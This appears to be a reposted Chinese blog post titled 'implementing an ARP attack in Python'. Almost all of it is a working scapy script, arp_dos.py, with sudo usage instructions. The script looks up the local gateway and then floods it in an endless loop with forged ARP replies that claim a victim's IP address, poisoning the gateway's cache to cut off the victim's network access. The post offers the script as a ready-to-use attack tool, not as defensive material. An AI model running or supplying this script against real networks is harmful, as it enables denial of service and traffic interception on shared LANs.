zoukankan      html  css  js  c++  java
  • python 实现ARP攻击

    注:使用这个脚本需要安装scapy 包

          最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

     1 #coding:utf-8
     2 #example :sudo  python arp_dos.py  192.168.1.103
     3 
     4 from scapy.all import ARP,send
     5 import os,re,sys
     6 
     7 def get_gateway_ip():
     8     t=os.popen('route -n')
     9     for i in t:
    10         if i.startswith('0.0.0.0'):
    11             r=re.split("s+",i)
    12             return r[1]
    13 
    14 def get_gateway_hw(ip):
    15     t=os.popen('arp -e %s' % ip)
    16     for i in t:
    17         if i.startswith(ip):
    18             r=re.split("s+",i)
    19             return r[2]
    20  
    21 def hack(hackip):
    22     ip=get_gateway_ip()
    23     hw=get_gateway_hw(ip)
    24     arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    25     #os.popen('ifconfig eth0 %s' % hackip )
    26     while 1:
    27         send(arp)
    28 
    29 def help():
    30     print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
    31 
    32 def main():
    33     if len(sys.argv) != 2:
    34         help()
    35     else:
    36         hack(sys.argv[1])
    37 if __name__=="__main__":
    38     main()
  • 相关阅读:
    java基础之System类
    java基础之System类
    java基础之Random类
    java基础之Math类
    java基础之Math类
    java基础之Character类概述
    MySQL数据库
    JavaScript面向对象与原型
    PHP
    sass基础用法
  • 原文地址:https://www.cnblogs.com/tk091/p/3391271.html
Copyright © 2011-2022 走看看